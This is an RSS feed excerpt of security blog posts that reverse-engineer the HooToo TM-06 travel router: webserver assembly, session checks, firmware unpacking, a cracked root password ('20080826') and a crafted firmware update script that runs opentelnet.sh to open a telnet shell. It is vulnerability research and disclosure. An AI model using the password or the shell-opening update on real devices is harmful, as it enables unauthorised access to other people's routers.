&lt;p&gt;Using this method we find a whole bunch of initialization functions including the one we analyzed as an example, &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_new&lt;/code&gt;. One unfortunate side affect of this C++ style pattern is that functions called via these structures do not get picked up as cross references by IDA.&lt;/p&gt;

&lt;h2 id=&quot;loading-pattern&quot;&gt;Loading pattern&lt;/h2&gt;

&lt;p&gt;I’ve already mentioned that the compiler used by the developers of the device is not an optimizing compiler. Or, at least, if it was optimizing, it wasn’t doing a great job. So let’s have a look at some of the weird patterns that have emerged.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;.text:00412B34 jalr    $t9 ; httpd_new  # Jump And Link Register
.text:00412B38 nop
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;First, every jump or branch is followed by a NOP instruction. This creates for a nice break in code and makes it less dense. I find that it becomes easier to read the assembly code because there are less things that I have to consider. For contrast, here’s a function epilogue from &lt;em&gt;libiconv&lt;/em&gt; from the same device:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;(libiconv.so.2.5.0)
.text:0001706C lw      $s0, 0x20+var_8($sp)
.text:00017070 move    $v0, $a0
.text:00017074 jr      $ra
.text:00017078 addiu   $sp, 0x20
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We can see here that the function returns and automatically fixes up the stack. This allows for a more efficient implementation but it puts a little more load on our brains when doing reverse engineering. OK, let’s switch back to the webserver function.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;.text:00412B3C lw      $gp, 0x38+var_20($sp)  # Load Word
.text:00412B40 sw      $v0, 0xC($s0)    # Store Word
.text:00412B44 lw      $v0, 0xC($s0)    # Load Word
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I find this phenomenon quite often. There will be an instruction that stores a variable and the immediately loads it back up into the same register as if the storing process has somehow cleared the register. Clearly, it is an artifact of a lack of an optimization step. This is fine for us, it allows the reverse engineer to see how the source code was written. Such structures create less dense and more mentally patterned assembly which is easier to follow.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;.text:00412B48 nop
.text:00412B4C bnez    $v0, loc_412BC0  # Branch on Not Zero
.text:00412B50 nop
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Finally, a bunch of NOPs around branching. The compiler is being safe about the two stage pipeline to make sure that when the registers are used they are in fact fully actualized.&lt;/p&gt;

&lt;h1 id=&quot;session-check&quot;&gt;Session check&lt;/h1&gt;
&lt;p&gt;For commands triggered by the user via web UI the server will perform a session validation. This happens at the beginning of each function. For example, there’s a feature for cloning a MAC address. Before the feature is executed a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;cgi_chk_sys_login&lt;/code&gt; will be made.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;.text:0048E4E0             set_macCloneEnabled:                     # DATA XREF: .data:0058DD10o
.text:0048E4E0   li      $gp, 0x1087B0    # Load Immediate
.text:0048E4E8   addu    $gp, $t9         # Add Unsigned
...
.text:0048E554   move    $a1, $v0
.text:0048E558   la      $t9, cgi_chk_sys_login  # Load Address
.text:0048E55C   nop
.text:0048E560   jalr    $t9 ; cgi_chk_sys_login  # &amp;lt;---- session check
.text:0048E564   nop
.text:0048E568   lw      $gp, 0x58+var_48($sp)  # Load Word
.text:0048E56C   bnez    $v0, loc_48E588  # Branch on Not Zero
.text:0048E570   nop
.text:0048E574   li      $v0, 0x132B3A2   # Load Immediate
.text:0048E57C   sw      $v0, 0x58+var_C($sp)  # Store Word
.text:0048E580   b       loc_48E83C       # Branch Always
.text:0048E584   nop
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The session check essentially ensures that the token in the cookie matches one that is recorded locally. This is a fairly common practice. It is a little bit concerning that the check is so decentralized, however the server is small in feature and so it should be relatively easy to ensure that every sensitive function performs this authorization check.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Python&amp;gt;for i in XrefsTo(0x00437550): print hex(i.frm) + &quot;: &quot; + GetDisasm(i.frm)
0x43a7ecL: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43bdb4L: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43bfecL: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43c560L: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A total of 315 references to the check. This is a good way to find out which functions are protected and somehow exposed to authenticated users. It is also good way to identify which function do something sensitive.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;We went through some interesting patterns for the implementation of the server. Hopefully, it has given you enough of an intuition for your own reverse engineering efforts in the future. We got really lucky in this case because the compiler was not aggressively optimizing the code and so we got to see a lot of patterns that make reversing of this server much easier.&lt;/p&gt;

&lt;p&gt;The binaries referenced in this article can be downloaded here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SHA (&lt;a href=&quot;../../../../resources/7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_fileserv&quot;&gt;7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_fileserv&lt;/a&gt;) = 86b96a77f8f09ac4937e079e9db1e1e3c9a2d24f&lt;/li&gt;
  &lt;li&gt;SHA (&lt;a href=&quot;../../../../resources/7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_ioos&quot;&gt;7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_ioos&lt;/a&gt;) = 7420757f92f140708e4628efe589924cfcc1fade&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Mon, 10 Apr 2017 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2017/04/10/tm06-embedded-webserver/</link>
        <guid isPermaLink="true">http://debugtrap.com/2017/04/10/tm06-embedded-webserver/</guid>
      </item>
     
    
     
      <item>
        <title>Protecting the digital nomad</title>
        <description>&lt;p&gt;&lt;strong&gt;Part 1:&lt;/strong&gt; Digital nomads, driven by the expanding Internet bandwidth and availability, are growing in numbers. There are open communities like the Subreddit &lt;a href=&quot;https://www.reddit.com/r/digitalnomad/&quot;&gt;/r/digitalnomad&lt;/a&gt; and others are commercial like the &lt;a href=&quot;https://digitalnomadcommunity.net/&quot;&gt;Digital Nomad Community&lt;/a&gt;. However, from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cyber_hygiene&quot;&gt;Cyber hygiene&lt;/a&gt; point of view, bouncing around like that can be about as safe as unprotected sex. In this post, I’d like to explore the security of one device that aims to protect the traveler’s meatspace to cyberspace bridge. The device is the &lt;em&gt;HooToo Travel Mate 06 (TM-06)&lt;/em&gt; travel router - it is a cute little device but provides loads of security fun!&lt;/p&gt;

&lt;h1 id=&quot;motivation&quot;&gt;Motivation&lt;/h1&gt;
&lt;p&gt;The community of digital nomads is growing in addition to an already large number of business/vacation travelers around the world. Apparently, the community is on its way to &lt;a href=&quot;https://levels.io/future-of-digital-nomads/&quot;&gt;one billion&lt;/a&gt; in numbers. However, I’m more interested in the security side. Their security needs are quite demanding because they have to touch many networks/devices with questionable security hygiene. At &lt;a href=&quot;http://www.blackhat.com/us-16/briefings.html#airbnbeware-short-term-rentals-long-term-pwnage&quot;&gt;Blackhat 2016&lt;/a&gt;, there was a talk on Internet safety in AirBnB’s and similar rentals. The speaker showed us how risky it can be to move between networks of differing standards. As this talk points out, there is a similar issue with public Café Wi-Fi’s. The wireless networks from one location to another vary greatly, mostly within the category of being vulnerable, exposing guests and hosts to malware. That piqued my interest and initiated this research.&lt;/p&gt;

&lt;p&gt;Looking for a solution, I discovered the concept of a travel router. Basically, a MiFi but without the SIM card and some additional features. A search on amazon returned well over a thousand of results - ranging in fitness to the search criteria. Taking price and function into account, I zeroed in on the HooToo TM-06 (the device). Its functions include Wi-Fi extension, Wi-Fi to Ethernet bridging and Hot Spot creation. However, security is one of the selling points: “create your own secure Wi-Fi network,” they said. I took this to mean that I can create a network more secure than what I bridge to in a Café, AirBnB or a hotel. At the very least, I could have an additional layer of protection such as what I could get from a NAT or a good firewall. Naturally, I wanted to &lt;em&gt;thoroughly&lt;/em&gt; check if this security claim was true.&lt;/p&gt;

&lt;h1 id=&quot;previous-work&quot;&gt;Previous work&lt;/h1&gt;
&lt;p&gt;There was some initial work done on HooToo devices, including the previous versions of the TM-06, by &lt;a href=&quot;https://github.com/chorankates/h4ck/tree/master/hootoo&quot;&gt;chorankates&lt;/a&gt;. Also, &lt;a href=&quot;https://www.exploit-db.com/exploits/38081/&quot;&gt;Smith&lt;/a&gt; published XSRF exploits which remain unpatched. However, I wanted to see if I could get more out of it.&lt;/p&gt;

&lt;p&gt;While the device seems to be popular on the Amazon, I don’t really see them around much. So they are not mainstream popular, not like an iPhone, but there are still enough out there to make for a useful target and pose some real dangers. Unfortunately, being below the radar also means that the device has not received much scrutiny from the security community to ensure the devices are safe to use.&lt;/p&gt;

&lt;h1 id=&quot;lets-get-to-work&quot;&gt;Let’s get to work!&lt;/h1&gt;
&lt;p&gt;The device is configurable via a web interface and it exposes a whole bunch of TCP ports to support its various features.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../images/hootoo_login_page.png&quot; alt=&quot;&quot; title=&quot;Login page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Figure 1:&lt;/strong&gt; Login page&lt;/p&gt;

&lt;p&gt;By default, the device doesn’t have a password set on the admin user in the web interface. The user is expected to change it upon initial setup. This is not bad in itself but the device should really require the user to set the password after initial login. The WebUI itself doesn’t provide a lot of rich features - it is a simple, to the point, UI. What you’ll find there are some basic Wi-Fi settings, MAC spoofing, access to media storage and network configurations. Obviously, an attacker getting access to such things would be bad, but I wouldn’t expect it to be too damaging.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../images/hootoo_internet_page.png&quot; alt=&quot;&quot; title=&quot;Configuring the Wi-Fi Bridge&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Figure 2:&lt;/strong&gt; Login page&lt;/p&gt;

&lt;p&gt;Of course, all HTTP interactions are unsecured. There’s no way of configuring TLS for the administrator interface. As long as you configure WPA for your wireless network then that should be OK, right? I guess, it just depends on how much you trust the people you allow to connect to the device with you. Personally, I would’ve preferred to have some TLS, not like encryption takes so many resources to run for one user. This is a perfect case where I’d give away some performance for much more security.&lt;/p&gt;

&lt;p&gt;Next, we connect to the device’s local Wi-Fi and do a full nmap scan:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  $ nmap 192.168.1.1 -p 0-65535
  Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-07 08:35 EST
  Strange read error from 192.168.1.1 (49 - 'Can't assign requested address')
  Nmap scan report for 192.168.1.1
  Host is up (0.0049s latency).
  Not shown: 65531 closed ports
  PORT     STATE    SERVICE
  0/tcp    filtered unknown
  80/tcp   open     http
  81/tcp   open     hosts2-ns
  5880/tcp open     unknown
  8201/tcp open     trivnet2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Some interesting things there. I always enjoy seeing ‘weird’ looking ports that are open for business. Not quite sure what to do with them yet but I imagine they have something to do with the various services (such as samba and DLNA Services) that the device provides. I was, however, disappointed that there are no remote shell ports to be found, such as ssh or telnet. That is especially because telnet was discovered during analysis of older versions, by chorankates. I guess HooToo did some enhancements since then.&lt;/p&gt;

&lt;h1 id=&quot;the-firmware&quot;&gt;The firmware&lt;/h1&gt;
&lt;p&gt;Next, I’d like to look at the firmware and see what kind of interesting things we could discover there. After a little bit of googling, I found that it’s possible to update the device with new firmware found on the &lt;a href=&quot;http://www.hootoo.com/downloads-HT-TM06.html&quot;&gt;HooToo support&lt;/a&gt; page. The update process is to upload the update file via the authenticated web interface. Finding an update file like this is exciting because it means we get to peek inside the code that is executing on our device.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ wget http://www.hootoo.com/media/downloads/HT-TM06-2.000.038.zip
--2017-03-19 20:20:36--  http://www.hootoo.com/media/downloads/HT-TM06-2.000.038.zip
HTTP request sent, awaiting response... 200 OK
Length: 26610217 (25M) [application/zip]
Saving to: ‘HT-TM06-2.000.038.zip’

100%[=====================================================================&amp;gt;] 26,610,217  8.60MB/s   in 3.0s

2017-03-19 20:20:39 (8.60 MB/s) - ‘HT-TM06-2.000.038.zip’ saved [26610217/26610217]

mike@ubuntu:~/$ unzip HT-TM06-2.000.038.zip
Archive:  HT-TM06-2.000.038.zip
  inflating: Change log.txt
  inflating: HT-TM06-Fix bug-2.000.038
  inflating: HT-TM06-2.000.038.bin
  inflating: HT-TM06-2.000.038
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not quite sure why, but the update package included the same file thrice. Each with a different name:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ md5sum *
8e99584da7cbb946695669f588b81430  HT-TM06-2.000.038
8e99584da7cbb946695669f588b81430  HT-TM06-2.000.038.bin
8e99584da7cbb946695669f588b81430  HT-TM06-Fix bug-2.000.038
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the binary, we find that it is actually just a bash shell script:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;head &lt;span class=&quot;nt&quot;&gt;-3&lt;/span&gt; HT-TM06-2.000.038
&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# constant&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;CRCSUM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3448271509
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first thing that stands out is the fact that there is no cryptographic signature to be found. So there’s no way to verify authenticity. The only thing we get is a CRC checksum which is clearly not a security mechanism.&lt;/p&gt;

&lt;p&gt;Next, we find this little section in the script:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# untar&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;unzip firmware package&quot;&lt;/span&gt;
...
tail &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; +&lt;span class=&quot;nv&quot;&gt;$SKIP&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$FWPT&lt;/span&gt;/upfs.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script executes a tail command on itself where it skips &lt;code class=&quot;highlighter-rouge&quot;&gt;SKIP&lt;/code&gt; number of lines. &lt;code class=&quot;highlighter-rouge&quot;&gt;SKIP&lt;/code&gt; is defined to be &lt;code class=&quot;highlighter-rouge&quot;&gt;263&lt;/code&gt;. The reference to firmware is encouraging and curious, so let’s run this command and see what happens.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ tail -n +263 HT-TM06-2.000.038 &amp;gt; upfs.gz
mike@ubuntu:~/$ file upfs.gz
upfs.gz: gzip compressed data, was &quot;initrdup&quot;, from Unix, last modified: Tue Feb 14 00:36:14 2017, max compression
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cool! That seems to have worked and given us a valid gzip file. This command extracted the binary content that was following the shell script which turned out to be the gzip file.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ gunzip upfs.gz
mike@ubuntu:~/$ file upfs
upfs: Linux rev 1.0 ext2 filesystem data, UUID=0339a2bf-8f6e-47d0-a3fd-4c4282c9d522
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Uncompressing the gzip, we see that it is an &lt;code class=&quot;highlighter-rouge&quot;&gt;ext2&lt;/code&gt; filesystem. Now, I’m truly excited because we can mount something :-)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ sudo mount -o loop upfs upfs.mount/
mike@ubuntu:~/$ ls upfs.mount/
bin  boot  config  dev  etc  firmware  lib  mnt  proc  sys  update.sh  var
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We get lots more fun things to play with. That &lt;code class=&quot;highlighter-rouge&quot;&gt;update.sh&lt;/code&gt; file and the &lt;code class=&quot;highlighter-rouge&quot;&gt;firmware&lt;/code&gt; directory are the first targets - specifically, &lt;code class=&quot;highlighter-rouge&quot;&gt;firmware&lt;/code&gt; looks most interesting. So, let’s keep unwrapping this package!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/upfs.mount$ file firmware/*
firmware/bootloader:    data
firmware/firmware.conf: ASCII text
firmware/kernel:        u-boot legacy uImage, Linux Kernel Image, Linux/MIPS, OS Kernel Image (lzma), 1544372 bytes, Wed Oct 28 00:25:02 2015, Load Address: 0x80000000, Entry Point: 0x8000C2F0, Header CRC: 0x14F420EC, Data CRC: 0x54A3AFE8
firmware/rootfs:        Squashfs filesystem, little endian, version 4.0, 5566433 bytes, 1105 inodes, blocksize: 131072 bytes, created: Tue Feb 14 00:36:10 2017
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rootfs&lt;/code&gt; looks promising because it is a &lt;em&gt;Squashfs&lt;/em&gt; filesystem, so this file probably lands up on the flash drive of the device. Looking at the kernel we can also get some information about when it was built and the kind of architecture we should expect. So, let’s mount the filesystem and peek inside.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/blog_firmware$ tree -h --dirsfirst -L 3 --filelimit 20 ./rootfs.mount/
./rootfs.mount/
├── [1.1K]  bin [81 entries exceeds filelimit, not opening dir]
├── [  26]  boot
│   └── [   3]  tmp
├── [   3]  data
├── [ 218]  dev
├── [1.1K]  etc [66 entries exceeds filelimit, not opening dir]
├── [  26]  etc_ro
│   └── [  28]  ppp
│       └── [ 363]  ip-up
├── [   3]  home
├── [1.3K]  lib [63 entries exceeds filelimit, not opening dir]
├── [   3]  media
├── [   3]  mnt
├── [   3]  opt
├── [   3]  proc
├── [ 835]  sbin [48 entries exceeds filelimit, not opening dir]
├── [   3]  sys
├── [   3]  tmp
├── [ 119]  usr
│   ├── [ 550]  bin [42 entries exceeds filelimit, not opening dir]
│   ├── [   3]  codepages
│   ├── [  42]  lib
│   │   ├── [ 208]  fileserv
│   │   └── [  34]  ppp
│   ├── [  44]  local
│   │   ├── [   3]  fileserv
│   │   └── [  26]  samba
│   ├── [1008]  sbin [60 entries exceeds filelimit, not opening dir]
│   ├── [  31]  share
│   │   └── [1.7K]  zoneinfo
│   └── [310K]  dev.tar
├── [ 111]  var
│   ├── [   3]  cache
│   ├── [   3]  lock
│   ├── [   3]  locks
│   ├── [   3]  log
│   ├── [   3]  logs
│   ├── [   3]  run
│   ├── [   3]  state
│   └── [   3]  tmp
└── [ 139]  www
    ├── [ 192]  app
    │   ├── [  97]  explorer
    │   ├── [  91]  information
    │   ├── [ 189]  network
    │   ├── [ 150]  services
    │   ├── [ 105]  system
    │   ├── [ 109]  user
    │   ├── [ 125]  wizard
    │   ├── [3.8K]  main.html
    │   ├── [2.5K]  metro.html
    │   ├── [1.9K]  set.html
    │   └── [1.3K]  wifiapi.html
    ├── [   3]  firmware
    ├── [ 158]  lang
    │   ├── [   0]  com.err
    │   ├── [  12]  dldlink.csp
    │   ├── [  13]  error.csp
    │   ├── [  12]  header.html
    │   ├── [  12]  index.csp
    │   ├── [  14]  protocol.csp
    │   ├── [  12]  sysfirm.csp
    │   └── [  12]  tail.html
    ├── [  34]  miniyun
    │   └── [ 381]  miniyun.htm
    ├── [  69]  script
    │   ├── [ 224]  app
    │   ├── [ 236]  lge
    │   ├── [3.8K]  config.js
    │   └── [ 98K]  core.js
    ├── [  57]  themes
    │   ├── [ 192]  default
    │   └── [ 209]  HT-TM06
    └── [2.0K]  index.html

59 directories, 35 files
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is nothing that is out of the ordinary. Looks like a small, possibly custom, distribution of Linux for a MIPS embedded system. On the &lt;a href=&quot;http://www.hootoo.com/hootoo-tripmate-ht-tm06-wireless-router.html&quot;&gt;support page&lt;/a&gt;, we see that the device’s chipset is MTK 7620. With this information we can find the &lt;a href=&quot;https://wiki.microduino.cc/images/3/34/MT7620_Datasheet.pdf&quot;&gt;datasheet&lt;/a&gt; and the CPU instruction set manual for the &lt;a href=&quot;https://people.freebsd.org/~adrian/mips/MD00343-2B-24K-SUM-03.11.pdf&quot;&gt;MIPS32 24K&lt;/a&gt; Processor. This will come handy in the future.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/$ cat ./rootfs.mount/etc/passwd
root:$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM/v/:0:0:root:/root:/bin/sh
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It only took about two days of &lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;&lt;em&gt;john the ripper&lt;/em&gt;&lt;/a&gt; on a reasonably priced AWS instance. The password was discovered by brute force: &lt;code class=&quot;highlighter-rouge&quot;&gt;20080826&lt;/code&gt;. What’s sad is that we have no where to use this password. There’s no login shell and the root user does not work via the web interface. Also, I couldn’t authenticate by directly sending the &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; login request using &lt;a href=&quot;https://portswigger.net/burp/&quot;&gt;burp&lt;/a&gt; - so, the username enforcement is happening on the device. This is a good sign, otherwise we’d have a nice back door that, likely, no one would check for.&lt;/p&gt;

&lt;p&gt;For this write up, we’ll stop here with the firmware analysis. There’s certainly more to do. But for now, we have all the files that we need for further specialized branches of analysis.&lt;/p&gt;

&lt;h1 id=&quot;getting-a-debugger&quot;&gt;Getting a debugger&lt;/h1&gt;
&lt;p&gt;So far, we’ve discovered some useful things about the device: the firmware, some unfixed issues and its architecture. However, nothing terrible and, as I’ve eluded to earlier, we really want to get some execution on the device. Ideally, we want to crack in, but until then let’s see if we can use semi-normal methods.&lt;/p&gt;

&lt;p&gt;Looking at our analysis so far, we notice that the firmware is not signed and it is a simple shell script. So, let’s build our own update! :-) Also, we notice that in the previous analysis, by &lt;a href=&quot;https://github.com/chorankates/h4ck/tree/master/hootoo&quot;&gt;chorankates&lt;/a&gt;, the earlier versions of the device had port 23 (telnet) open. So, I would guess that this functionality was disabled rather than removed.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~/rootfs.mount$ find ./ -iname '*telnet*'
./etc/checktelnetflag
./etc/init.d/opentelnet.sh
./etc/telnetpasswd
./etc/telnetshadow
./usr/sbin/telnetd
mike@ubuntu:~/rootfs.mount$ cat ./etc/init.d/opentelnet.sh
#!/bin/sh
if [ ! -f /etc/telnetflag ]; then
	touch /etc/telnetflag
       sed -i &quot;s|:/root:/sbin/nologin|:/root:/bin/sh|&quot; /etc/passwd
	telnetd &amp;amp;
	/etc/init.d/etcsync
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A quick search reveals that telnet is, indeed, available and can be started via the &lt;code class=&quot;highlighter-rouge&quot;&gt;opentelnet.sh&lt;/code&gt; script. What we’ll do is attempt to execute this command via our own firmware update package.&lt;/p&gt;

&lt;p&gt;The update mechanism is accessible after the &lt;code class=&quot;highlighter-rouge&quot;&gt;admin&lt;/code&gt; user has logged in on this URL: http://192.168.1.1/app/system/firmware.html.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../images/hootoo_update_page.png&quot; alt=&quot;&quot; title=&quot;Uploading new firmware&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My first attempt was to upload a basic shell script:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
/bin/sh /etc/init.d/opentelnet.sh

&lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I wanted to return an error, so that the system would not decide to, irreversibly, change anything internal and possibly brick the device. Unfortunately, that did not work. Obviously, I got no explanation. Further analyzing the official update package, we notice that the update usually comes with a CRC checksum. There is a check in the official firmware update that looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;crcsum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;sed &lt;span class=&quot;s1&quot;&gt;'1,3d'&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;|cksum|sed &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'s/ /Z/'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'s/   /Z/'&lt;/span&gt;|cut &lt;span class=&quot;nt&quot;&gt;-dZ&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f1&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$crcsum&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CRCSUM&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;firmware crc error!&quot;&lt;/span&gt;
        upstat 2 1
        &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /tmp/update_flag &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;0	
        &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;firmware crc success!&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was a little confusing why the failure occurred even though the check looks to be self enforced. What I realized later, is that the device will actually perform it’s own CRC validation before letting the script execute. However, the process is the same.&lt;/p&gt;

